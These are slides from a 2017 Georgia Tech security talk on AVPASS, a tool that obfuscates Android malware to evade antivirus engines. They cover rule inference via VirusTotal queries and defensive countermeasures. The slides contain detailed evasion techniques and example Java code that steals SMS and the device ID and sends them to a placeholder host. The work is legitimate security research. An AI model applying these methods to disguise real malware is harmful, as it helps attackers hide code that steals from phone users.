AVPASS: Automatically Bypassing
Android Malware Detection System
Jinho Jung, Chanil Jeon, Max Wolotsky, Insu Yun, and Taesoo Kim
Georgia Institute of Technology, July 27, 2017

About Us
 SSLab (@GT)✓ Focusing on system and security research✓ https://sslab.gtisc.gatech.edu/

 ISTC-ARSA✓ Intel Science & Technology Center for Adversary-Resilient Security Analytics✓ Strengthening the analytics behind malware detection✓ http://www.iisp.gatech.edu/intel-arsa-center-georgia-tech/

2

In This Talk, We Will Introduce AVPASS
 Transform any Android malware to bypass AVs✓ By inferring AV features and rules✓ By obfuscating Android binary (APK)✓ Yet supports preventing code leakage
3

Trend: Android Dominates Mobile OS Market

Android still leads mobile market
Regained share over iOS to achieve an 86 percent …

http://www.businessinsider.com/smartphone-market-share-android-ios-windows-blackberry-2016-8
http://www.gartner.com/newsroom/id/3415117

4

Problem: Android Malware Becomes More Prevalent

8,400 new Android malware everyday
Security experts expect around
3.5 million new Android malware apps for 2017https://www.gdatasoftware.com/blog/2017/04/29712-8-400-new-android-malware-samples-every-day

5One solution: Protecting Mobile Devices with Anti-Virus

There are over 50 Android anti-virus software in market
https://www.av-test.org/en/antivirus/mobile-devices/6

Unfortunately, AV Solutions Known to be Weak(example: JAVA malware)* Developing Managed Code Rootkits for the Java Runtime Environment, Benjamin Holland, DEFCON 24

7

What About Android Malware?
Malware!

Malware8

What About Android Malware?
How easy it to bypass AV software?
Malware!

MalwareBenign App

9Challenges: Bypassing Unknown AV Solutions① Transforming without destroying malicious features
Malware!

Malware② No pre-knowledge of AV features

Benign App③ Interact without leaking own malicious features10

Approaches: Automatically Inferring andObfuscating Detection Features
 Obfuscating individual features
 Inferring features and detection rules of AVs


Bypass AVs by using inferred features and rules✓ Yet minimize information leaking by sending fake malware

11

Summary of AVPASS operation
Bypassed most of AVs with 3.42 / 58 (5.8%) detections

Discovered 5 strong, 3 normal, and 2 weak impact features of AVs

Discovered bypassing rule combinations (about 30%)Prevented code leakage when querying by using Imitation Mode

12

AVPASS Overview and Workflow① Binary Obfuscation

Malware② Inferring
Features & Rules

Disguised & Bypass③ Query Safely

13What is Binary Obfuscation?

MethodAPI

StringVariable

Payload Package

Interaction

Data-flow

Resource Class

Encrypt & Remove Features

Obfuscation

I Look different,
but maintainsame behaviors

Obfuscated Application
14

Main Obfuscation Features
NumberObfuscation Primitives

Side-Effects

1

Component interaction injection

N/A

2

Dataflow analysis avoiding code injection

N/A

3

String encryption

N/A

4

Variable name encryption

N/A

5

Package name encryption

N/A

6

Method and Class name encryption

N/A

7

Dummy API and benign class injection

N/A

8

Bytecode injection

N/A

9Java reflection transformation

N/A

10

Resource encryption (xml and image)Appearance

15

APK Obfuscation RequirementsEnsure APK’s original functionalities✓

Error-free “smali” code injection* Disassembled code of DEX format



Should be difficult to de-obfuscate or reverse
✓
✓
✓

✓

Increase obfuscation complexities
E.g., Hide all APIs by using Java reflection
E.g., Encrypt all Strings with different encryption keys
E.g., Apply obfuscation multiple times
16

Easy Problem: Available Number of Registers.method public DoSomething().locals 5 (+1).method public DoSomething().locals 4# register: v0 – v3 used here

Try
Injection# register: v1 – v4 used here
# code injection using v0.end method.end method
v0

v1

v2

v3

v0

v1

v2

v3

v4

Increase maximum number and shift all registers and parameters
17Tricky Problem: Limited Number of Registers.method public DoSomething(p0…p9).locals 4
Total: 14# register: v0 – v3 used here
# parameter: p0 – p9 used here

.method public DoSomething(p0…p9).locals 7 (+3)
Try
Injection# register: v0 – v3 used here
# parameter: p0 – p9 used here
# instruction using p10 (v16).end method

Total: 17

Inst. Range
Error (> v15)

.end method
v0

v1

v2

v3

v4

v5 … v13

p0

p1

p9

v0

v1

v2

…

v6

v7

v8 … v16

p0

p1

p9
18

Solution: Backup and Restore Before Injection.method public DoSomething(p0…p9).locals 7 (+3).method public DoSomething(p0…p9).locals 4# register: v0 – v3 used here
# parameter: p0 – p9 used here

Try
Injection# register: v0 – v3 used here
# parameter: p0 – p9 used here

① backup register v3 – v12② code injection using v0 – v2
③ restore register v3 – v12.end method.end method
v0

v1

v2

v3

v4

v5

…

backup

v13
v0

p0

p1

p9

v1

v2

v3

…

v12

v13

…

v23

restoreWhy tricky? AVPASS needs to trace type of each register when backup/restore

19Difficult to Reverse as Requirement
Too Easy to Detect Obfuscation?
True, but it doesn’t help AVs much✓How could you tell benign or malicious?

Dynamic analysis can detect original behavior✓✓

However, code coverage is another challenge
Not that practical due to overhead

20

Example: Difficult to Reverse
public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();
String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);}}21

Example: Difficult to Reverse
public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
Reflection1
TelephonyMgr tm = new TelephonyMgr();
Reflection2
String ID = tm.getDeviceID();
Reflection3}}

Reflection4
String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
String Enc1
url.sendData(output);
Reflection5

Reflection Wrapper1classnamemethodname

Reflection Wrapper5

classnamemethodname
classnamemethodname
classnamemethodname
classnamemethodname

String Encryptor1

Encrypted MSG
Decryption KEY

Reflection Wrapper2
Reflection Wrapper3
Reflection Wrapper4

22

Example: Difficult to Reverse
public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
Reflection1
TelephonyMgr tm = new TelephonyMgr();
Reflection2
String ID = tm.getDeviceID();
Reflection3}}

Reflection4
String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
String Enc1
url.sendData(output);
Reflection5

Reflection Wrapper1

String Enc2
classnamemethodname
String Enc3

Reflection Wrapper5

String Enc4
classnamemethodname
String Enc5
String Enc6
classnamemethodname
String Enc7
classname
String Enc8
methodname
String Enc9
classname
String Enc10
methodname

String Encryptor1

String Enc12
Encrypted
MSG
Decryption
String Enc13KEY

Reflection Wrapper2
Reflection Wrapper3
Reflection Wrapper4

String Enc11

23

Example: Difficult to Reverse
String Enc14

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
Reflection1
TelephonyMgr tm = new TelephonyMgr();
Reflection2
String ID = tm.getDeviceID();
Reflection3}}

Reflection4
String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
String Enc1
url.sendData(output);
Reflection5

Reflection Wrapper1
Reflection Wrapper2
Reflection Wrapper3
Reflection Wrapper4
Reflection Wrapper5
String Encryptor1

String Enc2
classnamemethodname
String Enc3
String Enc4
classnamemethodname
String Enc5
String Enc6
classnamemethodname
String Enc7
classname
String Enc8
methodname
String Enc9
classname
String Enc10
methodname
String Enc11

String Enc12
Encrypted
MSG
Decryption
String Enc13KEY

String Enc15

Enc

String Enc N
String Enc N+1
String Enc N+2
String Enc N+3String Enc N+4String Enc N+5

Yes, you can tell obfuscation here but difficult to reverse
24Start with Well-known Detection TechniquesAPI-based detection

Dataflow-based detectionInteraction-based detection



Signature-based detection25Android Malware Example
SMS Leaking Malware
Component: InterceptSMS

Component: SendToNetwork

SMS received

Leaked Information

SMS intercepted bybackground Service

Hacker sends intercepted
message to malice.com

26API-based Android Malware Detection
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();

Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);
}
}

}
}

String output = ID.concat(“SMSmsg”);
URL url = new URL(http://malice.com);
url.sendData(output);
Suspicious
API sequence(n-gram)27

Dataflow-based Android Malware Detection
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);

Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);}}TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID(); Suspicious Source
String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);}
Suspicious Sink}

Suspicious
Dataflow28

Interaction-based Android Malware Detection
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();
Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);

TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();

SuspiciousInteraction

String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);

}
}

}
}

29

Signature-based Android Malware Detection
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();

Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);

}
}

}
}
Signatures: Class, Variable, String, Package, and etc
30

Bypassing API-based Detection System
 Break frequency analysis✓ Massive API insertion to change number of APIs Break n-gram (sequence) analysis✓ Insert dummy API between existing APIs Break APIs transition ratio analysis✓ Transition ratio? java → android, java.lang → android.util✓ 1) Insert massive APIs or 2) Change package names
31

Bypassing API-based Detection System (1/2)
Break n-gram analysis
GetDeviceID() → concat() → sendData()

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);

TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();
Android.text.format.DateFormat() // DUMMY
String output = ID.concat(SMSmsg);
Android.text.format.DateFormat() // DUMMY
URL url = new URL(http://malice.com);
url.sendData(output);

GetDeviceID() → DateFormat() → concat()→ DateFormat() → sendData()}}

32

Bypassing API-based Detection System (2/2)
Break transition ratio analysis
user-defined() → java.lang(String)→ user-defined()public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
userDefined1 tm = new TelephonyMgr();
String ID = tm.getDeviceID();
String output = ID.concat(SMSmsg);
userDefined2 url =new userDefined2(http://malice.com);
url.sendData(output);java.util.user-defined() → java.lang(String)→ java.util.user-defined()

}
}

33

Bypassing Dataflow-based Detection System (1/2)
Explicit → Implicit dataflow

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();
Implicit Flow

SMSmsg + ID = output (tracked)

untrackedStr = anti-dataflow-analysis-code(ID)String output = untrackedStr.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);

SMSmsg + untrackedStr = output (untracked)}}

34

Bypassing Dataflow-based Detection System (2/2)
Java Reflection (API name hiding)public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();
Nothing
to Trace
String ID = ReflectionWrapper1();

Unable to track suspicious source API

String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);}}35

Bypassing Interaction-based Detection System
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);

Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();

SuspiciousInteraction

String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);

}
}

}
}

36

Bypassing Interaction-based Detection System
Component: InterceptSMS

Component: SendToNetwork

public class InterceptSMS (BroadcastReceiver) {public void onReceive( ) {SmsMessage msg = SmsMessage.create();String SMS = msg.getMessageBody();

public class SendToNetwork (Service) {public void onStartCommand( Intent ) {String SMSmsg = intent.get(“sms”);
TelephonyMgr tm = new TelephonyMgr();
String ID = tm.getDeviceID();#1

Intent si = new Intent(Malicious.class);si.putExtra(“sms”, SMS);
startService(si);}String output = ID.concat(SMSmsg);
URL url = new URL(http://malice.com);
url.sendData(output);

#2

}
}

Divide components and make new relation to nullify the analysis
37

Evaluation: Bypassing
Well-known Detection System
 API-based Detection (Ratio-based)
Category

API transition
ratio detection

Strategy

Bypass Ratio

Inject dummy APIs to make diff. ratio(up to 2,000 insertions)80%

Modify all family/package names

95%

38

Evaluation: Bypassing
Well-known Detection System
 API-based Detection (Ratio-based)
Category

API transition
ratio detection* If malware size if big, you should
inject much more APIS

Strategy

Bypass Ratio

Inject dummy APIs to make diff. ratio(up to 2,000 insertions)80%

Modify all family/package names

95%

39

Evaluation: Bypassing
Well-known Detection System Dataflow-based Detection
Category

Strategy

Bypass Ratio

34%

Dataflow tracking

Inject anti-dataflow-analysis code
(support: String and Cursor datatype)
Hide API name by using reflection100%

 Interaction-based Detection✓ Successfully disguised 100% of malware
40

Evaluation: Bypassing
Well-known Detection System Dataflow-based Detection* As you can see, success ratio is low.
Anti-dataflow-analysis code is difficult
to make and easy to be detected.

Category

Strategy

Bypass Ratio

34%

Dataflow tracking

Inject anti-dataflow-analysis code
(support: String and Cursor datatype)
Hide API name by using reflection100%

 Interaction-based Detection✓ Successfully disguised 100% of malware
41

Demo #1
Bypass API-based detection systemBypass Dataflow-based detection systemBypass Interaction-based detection system

42

Let’s move on to real world detection system

43New Target: Real World Unknown AVs
Target: VirusTotal* Aggregation of many antivirus products andonline scan engines to check for viruses

Questions✓✓✓✓

Which features are important?
Which combinations affect to result?
Which classifier they are using?
Are they robust enough to detect variation?
44

Strategy : How to Infer and Bypass AVs?
 Inferring each feature’s impact✓ Obfuscate individual feature and then query Inferring detection rules✓ Generate all possible variations and then query Reduce the number of query✓ Group similar / relevant obfuscations
 Provide way to query safely✓ Query by using fake (but similar) malware
45

Inferring Feature: What AVs are Looking at?
Process for eliminating unnecessary obfuscationWe need to “guess” possible features✓ Byte stream? hash of image? IDs in resource? API and its arguments?



How? Obfuscate individual feature and analyze result

46

Finding : Inferred Features
NumberObfuscation Primitives

Impact Observed

1Component interaction injectionNo

2

Dataflow analysis avoiding code injection

No

3String encryption

Strong

4

Variable name encryption

Normal5

Package name encryption

Strong6

Method and class name encryption

Strong7

Dummy API and benign class injection

Normal8

Bytecode injection

Weak

9

Resource encryption (xml and image)

Weak

10

Dropper payload (jar or APK)

Strong11

Permissions

Normal12

APIs name hiding

Strong47

Inferring Rules:
Finding Feature Combinations to Bypass
Process for finding detection rules / logic inside

Why infer?
✓ To bypass with minimum obfuscations✓ To generate disguised malware with essential obfuscations



How? Obfuscate features and query variations48

2k Factorial Experiment Design* with k factor (features) decide 1) maintain kth factor or 2) obfuscate kth factor

 Obfuscation group (example)
O1

O2

O3

O4

O5

O6

O7

StringVariable

Package

Class +
API injection

Resource +Dropper removal

Permission
removalAPI
hiding 2k variations (27 = 128)
O1

O2

O3

O4

O5

O6

O7

O1

O2

O3

O4

O5

O6

O7

…

O1

O2

O3

O4

O5

O6

O7

Test with 100 malware? 100 x 128 x 2 way = 25,600 queries

49

2k Factorial Experiment Design
E.g., Test “string + package + resource” combination
O1



O2

O3

O4

O5

O6

O7

E.g., Test “order” to know impact of features (1→3→7→6→ …)

50

Inferred Rules: Must-do Obfuscations to Bypass
 Anti-virus (T): Weak detection
#r

STR

1

V

2
3
4

5
6
7

VAR

PACK

CLASS/INJ

RES

PERM

API

 Anti-virus (K): Strong detection
#

STR

VAR

PACK

CLASS/INJ

RES

PERM

V

1
V

2

V
V
V

V
V
V

V: bypassed when obfuscated these features* Experiment in May/2017, Test with 130 malware and 16,000 variations

API

3

V

4

V

5

V

6

V

V

V
V
V

…
12

V

V

13

V

14

V

15

V

V

16

V

V

17

V

V

18

V

V

V
V

V

V

51

Observation About Inferred Rules

Most AVs use all (7 group) features when detect

Inferred rules are about 30% of all possible combinations

Better AVs have more complicated rules

52How to Query Safely?

 Should minimize the sending information
 Should not send real code, instead send similar one
 Don’t worry about the APK’s functionality when querying

53

Imitation ModeImitation Mode: mimicking malware when query
Benefit of imitation
Empty Application template✓✓

Generate malware with selected features
Query without entire code
Imitation #1
O1

Malware
O1

O2

O3

O4

O5

O6

O7

O2

BENIGN

Imitation #2
O1

O3

MALICIOUS
54

Putting it All Together

Malware development scenario with AVPASS① Binary rewriting+ obfuscations

Disguised & Bypass

Malware② Imitation Mode
INFERREDFEATURES &RULES③ Developer
modification
55

Evaluation: Bypassing AVs
 General bypass ability
Category

Avg. Detections

Detection Ratio

Average Detections

38 / 58

65%

After AVPASS

3.42 / 58

5.8%* Experiment in July / 2017, Test with 2,000 malware

 Important features when bypassing or being detected✓ To bypass : API → Package name → Class name → …
✓ To be detected : String → API → Package name → …
56

Evaluation: Bypassing AVs
 Obfuscation vs. Inferred rule combinations
Category

Avg. Detections

Ratio

Full Obfuscations

8 / 58

13%

Inferred rules (about 30%)

10 / 58

17%* Experiment in May / 2017, Test with 130 malware and 16,000 variations

 Imitation Mode detection
Category

Avg. Detections

Full Obfuscation

8 / 58Imitation mode detected(2 - 7 features combination)

6.2 / 58

* Experiment in May / 2017, Test with 100 malware and 12,000 variations

57

Why not 100% Bypass?
Obfuscation cannot modify some contents✓ [Ex1] Permission: uses-permissions and android:permission✓ [Ex2] Intent-filter: action, category, data, and etc



AVPASS might miss possible features that AV usesHowever, Imitation Mode will tell you about detection
58

Findings: Observed Behaviors of AVs
 Static vs. Dynamic analysis-based detection✓ No dynamic analysis-based detection was found(because AVs should yield results within minutes thru VirusTotal)
 AVs mainly detect by pattern matching✓ Lack of advanced techniques (e.g., dataflow or interaction analysis)
 50% of AVs only use hash value Ahnlab1) / WhiteArmor2) showed best detections (May, ’17)
 After Java Reflec. QuickHeal3) / WhiteArmor best (July, ’17)
1) http://www.ahnlab.com
2) http://www.whitearmor.ai
3) http://www.quickheal.co.in/

59

Feedback from AVs companies(How could you detect well?) Ahnlab

No response WhiteArmor

Our detection uses composite models. Sorry for the limited information
I can give you. As you know, the enemy is in the dark.
 QuickHeal

No response
60Demo #2
Infer features and rules of AVs



Bypass AVs



Safe query by using imitation mode

61

Discussion: Which AVs are Difficult to Bypass?
 Thorough analysis and pattern matching✓ Stronger AVs check more features and signatures
 Complex rule combinations✓ In general, good AVs have more detection rules✓ Detection ratio vs. False positive Dataflow-based and Interaction-based detection✓ AVPASS can bypass but our pattern is too obvious✓ Difficult to re-develop anti-analysis code62Discussion: AVPASS vs. De-obfuscation
 Research on detection of obfuscated malware De-obfuscation technique✓ Dynamic analysis based✓ Probabilistic analysis based DeGuard test result✓ Recover 70% of class names(when /wo AVPASS’s reflection)✓ Cannot recover other obfuscations
http://apk-deguard.com/

63

Discussion: Defensive Measures
 Additional category of return value✓ Introduce “NOT VALID” output
 Increase the number of features for detection✓ Prevent model inferring by imitation mode Active intervention of middle-man✓ Detect inferring behavior and impose penalty

64Discussion: AVPASS Limitations
 Malware with payload (e.g., apk/elf dropper or Native Libs)✓ Put everything within class not external file → AVPASS will handle
 AVPASS as a malicious pattern (after open-source)✓ Name encryption: generic, difficult to detect✓ Code insertion: could be a malicious signature, difficult to re-develop Dynamic analysis✓ Can resolve some obfuscations: encrypted string, dummy API, …

65

Discussion: AVPASS Limitations
 Malware with payload (e.g., apk/elf dropper or Native Libs)✓ Develop within your code(class) not external file → AVPASS will handle
 AVPASS as a malicious pattern (after open-source)✓ Name encryption: generic, difficult to detect✓ Code insertion: could be a malicious signature, difficult to re-develop Dynamic analysis✓ Can resolve some obfuscations: encrypted string, dummy API, …
Detected “HelloWorld” (template name) as
Malicious after 15~20K queries (20170517)

Now AV companies share signatures (20170719)
66

Discussion: AVPASS Limitations
 Malware with payload (e.g., apk/elf dropper or native libs)✓ Develop within your code(class) not external file → AVPASS will handle
 AVPASS as a malicious pattern (after open-source)✓ Name encryption: generic, difficult to detect✓ Code insertion: could be a malicious signature, difficult to re-develop Dynamic analysis✓ Can resolve some obfuscations: encrypted string, dummy API, …

67

Actually, We are Conducing Two Researches Separate research into “Attack” and “Defense”✓ AVPASS: “How to bypass?”✓ DEFENSE: “How to detect malware variations?”
 Intel labs developed Android malware detection platform✓ Incorporate both Static and Dynamic analysis✓ Emulation-based analysis reveals some of obfuscations

68

Intel Android Malware Detection Platform* Upload and select classifier

Sign up

Upload APK* Check classified result and emulated information

Dynamic/Staticclassification

Prediction
69

Future Work

More sophisticated obfuscation and more test
✓ More feature discovery, increase success ratio, …
✓ Test on Google Verify Apps, independent AV solution, …

Incremental improvement of bypassing ability✓ By conducting separated researchWindows version of AVPASS✓ Robust binary rewriting technique is required✓ Inferring detection rules on more advanced AVs
70

AVPASS is Available Now

Source code
✓ https://github.com/sslab-gatech/avpassIntel Android malware analysis platform✓ Send mail to ami@intel.com, then we will let you inContact point✓ AVPASS: Jinho Jung (jinho.jung@gatech.edu)✓ Malware Analysis System: Mingwei Zhang (ami@intel.com)
71Conclusion
Bypassed most of AVs and found limitations (cannot bypass all)

Discovered features and rule combinations of AVs



Proposed Imitation Mode to prevent code leakage

Provided AVPASS as open-source72